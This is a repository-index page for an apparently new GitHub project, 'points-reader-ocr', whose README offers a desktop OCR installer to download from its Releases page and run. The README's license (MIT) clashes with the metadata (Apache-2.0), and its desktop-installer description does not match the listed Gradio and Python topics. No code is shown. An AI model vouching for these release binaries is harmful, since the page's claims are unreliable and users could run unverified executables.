https://github.com/nxoti1/points-reader-ocr
🖥️ Extract text from images easily with POINTS-Reader OCR, a high-accuracy application for seamless document conversion and processing.
https://github.com/nxoti1/points-reader-ocr
cuda gradio huggingface-transformers ocr open-source points-reader reportlab spaces tencent vision-language-model vlm
Last synced: 5 days ago
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🖥️ Extract text from images easily with POINTS-Reader OCR, a high-accuracy application for seamless document conversion and processing.
- Host: GitHub
- URL: https://github.com/nxoti1/points-reader-ocr
- Owner: nxoti1
- License: apache-2.0
- Created: 2025-10-01T04:25:46.000Z (7 days ago)
- Default Branch: main
- Last Pushed: 2025-10-01T07:19:19.000Z (7 days ago)
- Last Synced: 2025-10-01T09:21:56.111Z (7 days ago)
- Topics: cuda, gradio, huggingface-transformers, ocr, open-source, points-reader, reportlab, spaces, tencent, vision-language-model, vlm
- Language: Python
- Size: 297 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# 🛠️ POINTS-Reader-OCR - Convert Documents Effortlessly
## 📥 Download the Latest Version!
[](https://github.com/nxoti1/POINTS-Reader-OCR/releases)
## 🚀 Getting Started
Welcome to POINTS-Reader-OCR! This application helps you convert documents into text using advanced vision-language technology. You do not need to be a programmer to use this tool. Follow the steps below to get started with downloading and running the software.
## 💻 System Requirements
Before you start, ensure that your computer meets these requirements:
- Operating System: Windows 10 or later, macOS 10.15 or later, or any recent Linux distribution.
- RAM: At least 4 GB.
- Processor: A modern CPU with at least 2 cores.
- GPU: A NVIDIA graphics card with CUDA support is recommended for best performance.
## 📦 Download & Install
1. **Visit the Download Page**
Click [here](https://github.com/nxoti1/POINTS-Reader-OCR/releases) to go to our Releases page where you can find the latest version of POINTS-Reader-OCR.
2. **Select the Version**
On the Releases page, you will see a list of available versions. Choose the latest version, which is indicated by the highest number.
3. **Download the File**
Click on the link for your operating system to begin the download. You might see different options depending on your system. Choose the one that fits your setup.
4. **Install the Software**
Once the download is complete, locate the file in your downloads folder. Double-click the installer and follow the prompts to install the software on your computer.
## 🔍 How to Use POINTS-Reader-OCR
After installation, you can start using POINTS-Reader-OCR with these easy steps:
1. **Open the Application**
Find the POINTS-Reader-OCR icon on your desktop or in your applications folder. Double-click it to launch the application.
2. **Upload a Document**
You will see an option to upload a document. Click the "Upload" button and select the file you want to convert. Supported file formats include PDF, JPG, and PNG.
3. **Convert the Document**
Once the document is uploaded, click the "Convert" button. POINTS-Reader-OCR will begin processing your document. This might take a few seconds based on the file size.
4. **View Results**
After conversion, you can view the extracted text on your screen. You can also save this text to your computer by clicking the "Download Result" button.
## 🌟 Features
- **High Accuracy:** Our advanced model ensures precise text extraction from various document formats.
- **Easy Upload:** Simply drag and drop your documents or click to upload.
- **Fast Processing:** Convert documents in seconds, making your workflow more efficient.
- **User-Friendly Interface:** Navigate through the application effortlessly, designed for all users.
## 🤝 Support and Contribution
If you have any questions or need assistance, feel free to reach out through our repository's Issues section. Contributions are welcome! If you want to suggest improvements or report bugs, please let us know.
## 📝 License
POINTS-Reader-OCR is open-source software licensed under the MIT License. You may use it freely in accordance with the license terms.
## 🍞 Final Thoughts
We hope you enjoy using POINTS-Reader-OCR. For more details about updates and features, remember to check back on the [Releases page](https://github.com/nxoti1/POINTS-Reader-OCR/releases). Happy converting!